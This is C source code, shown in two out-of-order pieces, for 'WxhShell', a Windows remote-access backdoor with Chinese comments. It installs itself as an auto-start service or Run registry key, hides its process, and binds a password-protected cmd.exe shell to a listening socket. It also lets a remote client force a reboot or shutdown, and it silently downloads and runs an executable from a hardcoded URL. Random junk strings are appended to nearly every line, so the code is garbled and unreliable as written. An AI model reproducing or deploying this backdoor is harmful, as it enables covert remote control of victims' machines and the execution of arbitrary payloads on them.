    } -`( :L[  
  // 关机 -Bc.<pFqp  
  case 'd': { W{%M+a[#l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V1+IqOXAIp  
    if(Boot(SHUTDOWN)) _T1e##Sq,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 P.ry|2  
    else { Sdn] f4  
    closesocket(wsh); ."2V:;;  
    ExitThread(0); .]" o-(gB  
    } )}EwEM  
    break; 87-oR}/r  
    } E^  rN)  
  // 获取shell z w0p}  
  case 's': { ka(xU#;  
    CmdShell(wsh); 3cnsJV]  
    closesocket(wsh); Y{jhT^tKK  
    ExitThread(0); N.fIg  
    break; uaS?y1:c  
  } V{8mx70  
  // 退出 V/03m3!q  
  case 'x': { Zy<0'k%U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $h2h&6mH  
    CloseIt(wsh); !({[^[!  
    break; WA<~M) rb  
    } 4)`{ L$  
  // 离开 Aam2Y,B  
  case 'q': { v>,XJ7P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G#csN&|,  
    closesocket(wsh); !l}es4~.a  
    WSACleanup(); @E}4LTB  
    exit(1); se?nx7~  
    break; _H-Lt{k  
        } :5dq<>~  
  } ,Rf<6/A  
  } ~ >6(@~6  
!#'*@a  
  // 提示信息 6(eyUgnb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )!0>2,R1  
} U+\\#5$  
  } uG/Zpi  
S2`p&\Ifn  
  return; GhX>YzD7  
} T3bBc  
VH8,!#Q;  
// shell模块句柄 i# QI}r  
int CmdShell(SOCKET sock) Er{yQIi0L  
{ \KTX{qI"f  
STARTUPINFO si; oR5'g7?  
ZeroMemory(&si,sizeof(si)); FN G]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qLcs)&}/A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F&ux9zP  
PROCESS_INFORMATION ProcessInfo; -ohqw+D  
char cmdline[]="cmd"; <FP&1Eg!|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0(]C$*~mk  
  return 0; z+;+c$X  
} tFG&~tNc  
>1W)J3  
// 自身启动模式 ,}J(&  
int StartFromService(void) q>,i `*  
{ 1B2>8 N  
typedef struct #HqXC\~n  
{ 9Y0w SOSW  
  DWORD ExitStatus; DRal{?CH  
  DWORD PebBaseAddress; Z/O5Dear/h  
  DWORD AffinityMask; P#iBwmwN+.  
  DWORD BasePriority; O}2;>eH  
  ULONG UniqueProcessId; U1I2+;"#A  
  ULONG InheritedFromUniqueProcessId; mzDbw-#  
}   PROCESS_BASIC_INFORMATION; @<h@d_8^k  
H>2)R 7h  
PROCNTQSIP NtQueryInformationProcess;   \\6/"  
PKmr5FB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mkgDg y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6?r}bs6Msx  
w?Y;pc}1B  
  HANDLE             hProcess; @2V#bK  
  PROCESS_BASIC_INFORMATION pbi; L_Z>*s&  
q5Z]Z.%3O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]5wc8Kh"  
  if(NULL == hInst ) return 0; _pL:dKfy7  
t}+P|$[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?3[as<GZ8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VTS8IXz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x:GuqE  
qEE V&  
  if (!NtQueryInformationProcess) return 0; NU O9,  
/alJN`g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i ,ga2{GnM  
  if(!hProcess) return 0; Ub3^Js!b%  
I vO#tI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tw 8$6KUW  
g6MK~JG$?h  
  CloseHandle(hProcess); )ui]vS:>  
eqV;4dhm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r761vtC#  
if(hProcess==NULL) return 0; oUoDj'JN{  
yHe%e1  
HMODULE hMod; HZKqGkE  
char procName[255]; ogtl UCUD  
unsigned long cbNeeded; c3lU  
t 7dcaNBZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w6aq/m"'  
G?*)0`~W  
  CloseHandle(hProcess); lG6P+ Z/nf  
'a[|'  
if(strstr(procName,"services")) return 1; // 以服务启动 t[ cHdI  
.]24V!J(1w  
  return 0; // 注册表启动 _e:c 22T'  
} gAD,  
&]tZ6  
// 主模块 0w)Gb}o$  
int StartWxhshell(LPSTR lpCmdLine) ' >4 H#tu  
{ WS6'R    
  SOCKET wsl; V^apDV\AV  
BOOL val=TRUE; /6QwV->  
  int port=0; *> LA30R*v  
  struct sockaddr_in door; ;LD!eWSK,  
ir !/{IQx  
  if(wscfg.ws_autoins) Install(); j`7q7}  
Bq@_/*'*Y  
port=atoi(lpCmdLine); bi~1d"j  
}hRw{#*8  
if(port<=0) port=wscfg.ws_port; ozB2L\D7  
C%H{"  
  WSADATA data; )B)e cJJ_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X;'H@GU0  
db#svj*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m) QV2n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #g=7fu{n:  
  door.sin_family = AF_INET; wwaw|$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h9RL(Kq{  
  door.sin_port = htons(port); =S#9\W&6Q  
9?]69O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y].,}}9k  
closesocket(wsl); 8}C_/qeM  
return 1; , Ox$W  
} Q,v/]bXd  
eI%9.Cx#I  
  if(listen(wsl,2) == INVALID_SOCKET) { @S9^~W3G3  
closesocket(wsl); <<w*_GM  
return 1; }2%L 0  
} As{"B  
  Wxhshell(wsl); z>lIZ}  
  WSACleanup(); > zA*W<g  
mUA!GzJ~u-  
return 0; SR_<3WW  
N(s5YX7<hd  
} wAD%1;  
l$Y*ii  
// 以NT服务方式启动 }iIZA>eF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vj%3v4  
{ 6({TG&`!]  
DWORD   status = 0; z|bAZKSRYx  
  DWORD   specificError = 0xfffffff; z_f^L %J0  
D||)H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FdGnNDl*e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?mwa6]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y#[xX2z9  
  serviceStatus.dwWin32ExitCode     = 0; X~g U$  
  serviceStatus.dwServiceSpecificExitCode = 0;  T_)G5a  
  serviceStatus.dwCheckPoint       = 0; *(E]]8o  
  serviceStatus.dwWaitHint       = 0; )sN}ClgJ  
0uL*-/|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >)^Q p-  
  if (hServiceStatusHandle==0) return;  gx9=L&=d  
g286 P_a`*  
status = GetLastError(); `:.a5  
  if (status!=NO_ERROR) t#d{hEr  
{ *[Im].  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xciwKIpS  
    serviceStatus.dwCheckPoint       = 0; *47HN7  
    serviceStatus.dwWaitHint       = 0; ?xwLe  
    serviceStatus.dwWin32ExitCode     = status; o3W@)|>  
    serviceStatus.dwServiceSpecificExitCode = specificError; wU(p_G3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l=UXikx  
    return; :lW8f~!  
  } Zz?)k])F  
 SwE bVwB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [[#zB-|  
  serviceStatus.dwCheckPoint       = 0; m`BE{%  
  serviceStatus.dwWaitHint       = 0; |BBo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); muAgsH$/  
} 1 R,SA:L$  
NK\0X5##.  
// 处理NT服务事件,比如:启动、停止 AO]k*N,N  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  < v1.+  
{ ~jJF&*)  
switch(fdwControl) / %1-tGh  
{ pz=/A  
case SERVICE_CONTROL_STOP: K;7ea47m N  
  serviceStatus.dwWin32ExitCode = 0; @4G{L8Q}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .cm9&&"Z  
  serviceStatus.dwCheckPoint   = 0; o-<XR9,N*  
  serviceStatus.dwWaitHint     = 0; &'k:?@J[  
  { ,Cd4Q7T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !K6:5V%q$  
  } ";jKTk7  
  return; n"w>Y)C(X)  
case SERVICE_CONTROL_PAUSE: '""s%C+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :{,k F  
  break; cs9"0&JX  
case SERVICE_CONTROL_CONTINUE: ioBYxbY`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^+w1:C5  
  break; 3tW}a`z9  
case SERVICE_CONTROL_INTERROGATE: ivg W[]  
  break; ''($E /  
}; xwu b-yz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RK/>5  
} Vkf c&+  
OP|X-  
// 标准应用程序主函数 b ,x$wP+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b#-=Dbe  
{ E|3[$?=R  
</pt($  
// 获取操作系统版本 @HE<\Z{ KI  
OsIsNt=GetOsVer();  Q!5W x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uuQsK. S  
97dF  
  // 从命令行安装 =)}Yw)  
  if(strpbrk(lpCmdLine,"iI")) Install(); P~84#5R1  
`ff@f]|3^  
  // 下载执行文件 >}B53.;.k  
if(wscfg.ws_downexe) { Ap~6Vu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %%9T-+T  
  WinExec(wscfg.ws_filenam,SW_HIDE); p7W9?b9  
} GX'S4B  
M?5voV*  
if(!OsIsNt) { >y+?Sz!  
// 如果时win9x,隐藏进程并且设置为注册表启动 @O/"s~d-  
HideProc(); Wcbm,O4u  
StartWxhshell(lpCmdLine); drvz [ 9;  
} )-m/(-  
else ,#bT  
  if(StartFromService()) ^fV-m&F)K*  
  // 以服务方式启动 \E6 0  
  StartServiceCtrlDispatcher(DispatchTable); {]%7-4E  
else XqGa]/;}  
  // 普通方式启动 cSjX/%*!m  
  StartWxhshell(lpCmdLine); xt6%[)  
cd`P'GDF  
return 0; g'Wr+( A_  
} c_t7<  
MO? }$j  
)Fw#]~Z  
Fr-Vq =j&  
=========================================== H vHy{S4  
]F"P3':  
 He%v4S  
>U.7>K V&  
{N << JX  
^9]g5.z:  
" H6Ytp^~>  
_0y]U];ce  
#include <stdio.h> OKAmw >{  
#include <string.h> WHqw=! G  
#include <windows.h> ps^["3e  
#include <winsock2.h> *uSlp_;kB  
#include <winsvc.h> C)~%(< D  
#include <urlmon.h> OnyAM{$g  
T+PERz(  
#pragma comment (lib, "Ws2_32.lib") ~>Y^?l  
#pragma comment (lib, "urlmon.lib") Q3'P<"u  
;X:Bh8tEV  
#define MAX_USER   100 // 最大客户端连接数 8K@e8p( y  
#define BUF_SOCK   200 // sock buffer Md0`/F:+2  
#define KEY_BUFF   255 // 输入 buffer 3[@:I^q  
d6ifJ  
#define REBOOT     0   // 重启 E B! ,t  
#define SHUTDOWN   1   // 关机 N'PK4:  
1d$wP$  
#define DEF_PORT   5000 // 监听端口 W)^%/lAh  
b~{nS,_Rn  
#define REG_LEN     16   // 注册表键长度 C`uL 4r  
#define SVC_LEN     80   // NT服务名长度 1ed^{Wa4$9  
{suQ"iv  
// 从dll定义API }rnu:7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p&\DG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); : rudo[L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'UTMEN&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b>9?gmR{  
7q{yLcC"  
// wxhshell配置信息 ^F- 2tc  
struct WSCFG { '@zMZc!  
  int ws_port;         // 监听端口 <tm=  
  char ws_passstr[REG_LEN]; // 口令 +jS<n13T  
  int ws_autoins;       // 安装标记, 1=yes 0=no '+GY6Ecg  
  char ws_regname[REG_LEN]; // 注册表键名 O_ vH w^  
  char ws_svcname[REG_LEN]; // 服务名 WqS$C;]%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p<&>1}j=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y/LS(b*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "Bz#5kqnl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i~3\dp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" brK7|&R<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $GOF'  
@1qdnU  
}; Nfv` )n@  
OB++5Wd  
// default Wxhshell configuration LoOw]@>  
struct WSCFG wscfg={DEF_PORT,  z@~mu  
    "xuhuanlingzhe", 99%R/m  
    1, C' WX$!$d  
    "Wxhshell", =$T[  
    "Wxhshell", TH55@1W,[  
            "WxhShell Service", ?m9=Me  
    "Wrsky Windows CmdShell Service", ,|]k4F  
    "Please Input Your Password: ", I,"q:QS+  
  1, b2RW=m-  
  "http://www.wrsky.com/wxhshell.exe", 9!0-~,o  
  "Wxhshell.exe" vP_mS 4X  
    }; Xc&J.Tw#4*  
'Tskx  
// 消息定义模块 3JD"* <zs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9yu#G7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YRv}w3yQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; - ~*kAh  
char *msg_ws_ext="\n\rExit."; !Q,Dzv"7  
char *msg_ws_end="\n\rQuit."; cY+n 6k5  
char *msg_ws_boot="\n\rReboot..."; NCYOY  
char *msg_ws_poff="\n\rShutdown..."; b ZZ _yc  
char *msg_ws_down="\n\rSave to "; mnw(x#%P  
J3/e;5w2Z  
char *msg_ws_err="\n\rErr!"; - /cf3  
char *msg_ws_ok="\n\rOK!"; fp`m>} -  
n?S)H=  
char ExeFile[MAX_PATH]; b?2 \j}  
int nUser = 0; 9|NF)~Q}'  
HANDLE handles[MAX_USER]; G @]n(\7Y  
int OsIsNt; h A '>  
oW>e.}d!  
SERVICE_STATUS       serviceStatus; dnM.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uH7!)LE#  
Ef3=" }AI;  
// 函数声明 e@ 5w?QzW  
int Install(void); O7od2fV(i7  
int Uninstall(void); #iRd2Qj%  
int DownloadFile(char *sURL, SOCKET wsh); M5x MTP-  
int Boot(int flag); (Zej\lEN  
void HideProc(void); F^lau f  
int GetOsVer(void); {IF$\{Al  
int Wxhshell(SOCKET wsl); Zrew}0  
void TalkWithClient(void *cs); cV7a, *  
int CmdShell(SOCKET sock); BqavI&1=  
int StartFromService(void); AmUH]+5KT  
int StartWxhshell(LPSTR lpCmdLine); Fr<tk^~/  
~wcp&D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K_;?Sr=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [<}W S} .  
HIvSh6|0p  
// 数据结构和表定义 =AF;3  
SERVICE_TABLE_ENTRY DispatchTable[] = qWXw*d1]  
{ Yf1%7+V35  
{wscfg.ws_svcname, NTServiceMain}, =tX"aCW~  
{NULL, NULL} 0Ag2zx  
}; D+w ?  
vq\L9$WJ  
// 自我安装 ?5EMDawt  
int Install(void) J:IAs:e`  
{ A6xN6{R!  
  char svExeFile[MAX_PATH]; n" vO?8Sx  
  HKEY key; 1M?Sl?+j  
  strcpy(svExeFile,ExeFile); gQeoCBCE  
#U vWS  
// 如果是win9x系统,修改注册表设为自启动 cK IA.c}N  
if(!OsIsNt) { n:}'f- :T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { er@.<Dc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c'Q.2^w^  
  RegCloseKey(key); $J]NWgXl@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YWDd[\4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &x@N5j5Q  
  RegCloseKey(key); sqj8I"<`  
  return 0; B9`_~~^U5  
    } R$">  
  } KB{/L5  
} A>)W6|m|  
else { oJc7a z  
  [ L  
// 如果是NT以上系统,安装为系统服务 =A_{U(>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7p {2&YhB  
if (schSCManager!=0) KPZqPtb;  
{ ,8DjQz0ZPo  
  SC_HANDLE schService = CreateService LX(`@-<DH  
  ( 20M]gw]  
  schSCManager, aq9Ej]1b  
  wscfg.ws_svcname, kZcGe*  
  wscfg.ws_svcdisp, N0YJ'.=8,  
  SERVICE_ALL_ACCESS, awLSY:JI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GwG(?_I"  
  SERVICE_AUTO_START, u~Y+YzCxV  
  SERVICE_ERROR_NORMAL, V9;IH<s:  
  svExeFile, Vp8!-[R  
  NULL, jk])S~xl?  
  NULL, K~qKr<)  
  NULL, w3Dqpo8E  
  NULL, 0{stIgB$  
  NULL g&/r =U  
  ); V|4k=_-  
  if (schService!=0) Q.f D3g  
  { +X>Aj=#  
  CloseServiceHandle(schService); HzZX=c  
  CloseServiceHandle(schSCManager); WVx^}_FD0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ciN*gwI)  
  strcat(svExeFile,wscfg.ws_svcname); ko~e*31_E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JNI&]3[C>?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xfqU atC  
  RegCloseKey(key); zB6&),[,v  
  return 0; T1RICIf 1F  
    } ,!98V Jmr  
  } OV-#8RXJ  
  CloseServiceHandle(schSCManager); .0dx@Sbv  
} Wf&i{3z[  
} Fn;Gq-^7@  
 >6'brb  
return 1; f=>ii v  
} V)mi1H|m  
HZ89x|H k_  
// 自我卸载 ZRUI';5x  
int Uninstall(void) Pj7MR/AH  
{ D)eRk0iC  
  HKEY key; # tU@\H5kN  
~tB9kLFG  
if(!OsIsNt) { %kk~qvW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sb%l N   
  RegDeleteValue(key,wscfg.ws_regname); hNF,sA  
  RegCloseKey(key); sv#/78~|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v2 >Dn=V  
  RegDeleteValue(key,wscfg.ws_regname); l YjPrA]TC  
  RegCloseKey(key); KwxJ{$|xH  
  return 0; )u307Lg  
  } 7K/t>QrBtU  
} (2/i1)Cq  
} }G<A$*L1  
else { T>v`UN Bl]  
#o(@S{(NZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +F^X1  
if (schSCManager!=0) /$UWTq/C7  
{ l^v,X%{Iz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =CL h<&  
  if (schService!=0) #3-hE  
  { C+-sf  
  if(DeleteService(schService)!=0) { deutY.7g  
  CloseServiceHandle(schService); n:JG+1I  
  CloseServiceHandle(schSCManager); i]0$ 7s9!  
  return 0; LhKUZX,P8  
  } D!bi>]Yd  
  CloseServiceHandle(schService); <-!' V,c  
  } )umW-A  
  CloseServiceHandle(schSCManager); h6e,w$IL  
} :a M@"#F  
} dg;E,'e_ p  
X+//$J  
return 1; K(}<L-cv  
} n s&(g^  
`u7twW*U2  
// 从指定url下载文件 Ap`D{u/  
int DownloadFile(char *sURL, SOCKET wsh) 7 '7a`-W  
{ RH;Kbu  
  HRESULT hr; Cta!"=\  
char seps[]= "/"; =5M '+>  
char *token; Q8bn|#`  
char *file; 6hqqZ  
char myURL[MAX_PATH]; T!Uf PfEI  
char myFILE[MAX_PATH]; %* @hS`  
p;{w0uld"  
strcpy(myURL,sURL); P/8z  
  token=strtok(myURL,seps); SSr2K  
  while(token!=NULL) '59l.  
  { liVDBbS_A?  
    file=token; l78 :.  
  token=strtok(NULL,seps); A Zv| |8p  
  } "C9.pdP\8  
[,mcvO;  
GetCurrentDirectory(MAX_PATH,myFILE); Ht%O9v  
strcat(myFILE, "\\"); \MtdT[*  
strcat(myFILE, file); ]w9syz8X  
  send(wsh,myFILE,strlen(myFILE),0); ZmJHLn[ B  
send(wsh,"...",3,0); |1Ko5z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^Kh>La:>O  
  if(hr==S_OK) z0 _/JwJn  
return 0; zKaEh   
else Redxg.P  
return 1; ^s?i&K,!  
@#| R{5=+  
} F2["AkNM  
Rj,M|9Y)o  
// 系统电源模块 r7N% onx  
int Boot(int flag) n`7n5M*  
{ ,NQ>,}a0  
  HANDLE hToken; x:IY6  l  
  TOKEN_PRIVILEGES tkp; u2Qs}FX  
IR*:i{  
  if(OsIsNt) { xqaw00,s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hin6cac  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OTwXc*2u]  
    tkp.PrivilegeCount = 1; kA&ul  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wGA%h.[M|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1z=}`,?>  
if(flag==REBOOT) { WFFpW{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~uu~NTz  
  return 0; 1V1T1  
} !)'|Y5 o  
else { 69/qH_Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .#ATI<t  
  return 0; .t9zF-jk  
} n!y}p q6  
  } .;~K*GC  
  else { .ZOyZnr Z  
if(flag==REBOOT) { 6c&OR2HGqO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W[j7Vi8v  
  return 0; XY`2>7  
} @7<m.?A!  
else { >eaK@u-'0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JZrUl^8E  
  return 0; v4wXa:CJ  
} N_>}UhZ  
} 1oIu~f{`  
wenJ(0L|  
return 1; M;qV% k  
} (3Z~EIZz  
We*c_;@<  
// win9x进程隐藏模块 Q Ph6 p3bg  
void HideProc(void) zs@[!?A,  
{ d@t3C8  
$~*d.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L\asrdL?=  
  if ( hKernel != NULL ) MHKB:t]hA  
  { Gu9x4p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )d-{#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EM.rO/qcW  
    FreeLibrary(hKernel); uDi#a~m@  
  } %uLyL4*L(p  
9CTvG zkw  
return; A)q,VSR8  
} 4lfJc9J  
},LW@Z}  
// 获取操作系统版本 >zAI#N4  
int GetOsVer(void) k|T0Bly3P  
{ QabYkL5@  
  OSVERSIONINFO winfo; abM4G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CDM==Xa*  
  GetVersionEx(&winfo); ;]^JUmxU[d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tC -H2@  
  return 1; mg^\"GC*8  
  else #`H^8/!e  
  return 0; gJ>HFid_C  
} Af"vSL  
cZ~\jpK  
// 客户端句柄模块 > ak53Ij$  
int Wxhshell(SOCKET wsl) p,w6D,h  
{ Ey "<hAF  
  SOCKET wsh; 1"CbuV 6  
  struct sockaddr_in client; %U)M?UNjw  
  DWORD myID; \W6 |un  
"i_}\p.,X  
  while(nUser<MAX_USER) 8h2!8'  
{ 5K*-)F ]  
  int nSize=sizeof(client); wfrWpz=FO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?RD)a`y51  
  if(wsh==INVALID_SOCKET) return 1; )(pJ~"'L  
%C[ ;&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &j7l#Urq  
if(handles[nUser]==0) ai ,Mez  
  closesocket(wsh); Zb7:qe<UN  
else gZs8BKO  
  nUser++;  Dk fw*Oo  
  } 1`_i%R^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c};Qr@vpo  
O({-lI  
  return 0; h D/b O  
} ~U~4QQV  
?%HtPm2< %  
// 关闭 socket HiG&`:P>q  
void CloseIt(SOCKET wsh) R%Yws2Le2  
{ d0 tN73(  
closesocket(wsh); `'[ 7M  
nUser--; `v)-v<  
ExitThread(0); J)n g,i  
} *{)![pDYd  
~>)GW  
// 客户端请求句柄  iV71t17  
void TalkWithClient(void *cs) G?/1 F1  
{ P + nT%  
mYk5f_}  
  SOCKET wsh=(SOCKET)cs; 4>^ %_Xj[  
  char pwd[SVC_LEN]; n.y72-&v  
  char cmd[KEY_BUFF]; AsM""x1Ix  
char chr[1]; |[TH ~ o  
int i,j; sh?Dxodp9  
N3H!ptn37  
  while (nUser < MAX_USER) { x9HA^Rj4-  
&w3LMOT  
if(wscfg.ws_passstr) { 8X]j;Rb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z@ A5t4+3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q6{%vd  
  //ZeroMemory(pwd,KEY_BUFF); )x"Z$jIs  
      i=0; H2RNekck  
  while(i<SVC_LEN) { /kVy#sT|  
?lU]J]  
  // 设置超时 y\ @;s?QL  
  fd_set FdRead;  \'"q6y  
  struct timeval TimeOut; -zz9k=q  
  FD_ZERO(&FdRead); ][bz5aV  
  FD_SET(wsh,&FdRead); _ #l b\  
  TimeOut.tv_sec=8; Xb3vvHdI  
  TimeOut.tv_usec=0; eeb 8v:4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); # dxlU/*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g m],  
$zz=>BOk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .?S#DS )  
  pwd=chr[0]; sa+:c{  
  if(chr[0]==0xd || chr[0]==0xa) { AJ:@c7:eS  
  pwd=0; $b$r,mc  
  break; yZFv pw|g  
  } 6M$.gX G.  
  i++; Qq]UEI `Go  
    } '7'cKp  
^ I,1kl~i  
  // 如果是非法用户,关闭 socket &TWO/F+Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !,\9,lc  
} QbqLj>-AJ  
8yFD2(#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Zml9 ndzT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ed*`d>  
[dU/;Sk5  
while(1) { G68N@g  
h/(9AO}t  
  ZeroMemory(cmd,KEY_BUFF); 3[aJ=5  
i$:CGUb  
      // 自动支持客户端 telnet标准   x_Ais&Gc  
  j=0; eB$v'9S8/  
  while(j<KEY_BUFF) { +bf%]   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |klL KX&  
  cmd[j]=chr[0]; p dnL~sv  
  if(chr[0]==0xa || chr[0]==0xd) { N'm:V  
  cmd[j]=0; PLo.q|%  
  break; bJB:]vs$  
  } =AcbX_[  
  j++; KS(T%mk\  
    } sQihyq6U;  
YN>#zr+~  
  // 下载文件 ?QVD)JI*k  
  if(strstr(cmd,"http://")) { Cv$TNkP*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F/EHU?_EI  
  if(DownloadFile(cmd,wsh)) [S</QS!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <!OP b(g2  
  else tg8VFH2q.z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1NOz $fW  
  } "hlIGJ?_=  
  else { <U,T*Ql1x  
s^KxAw_IV  
    switch(cmd[0]) { dnIBAe  
  g\ *gHHa  
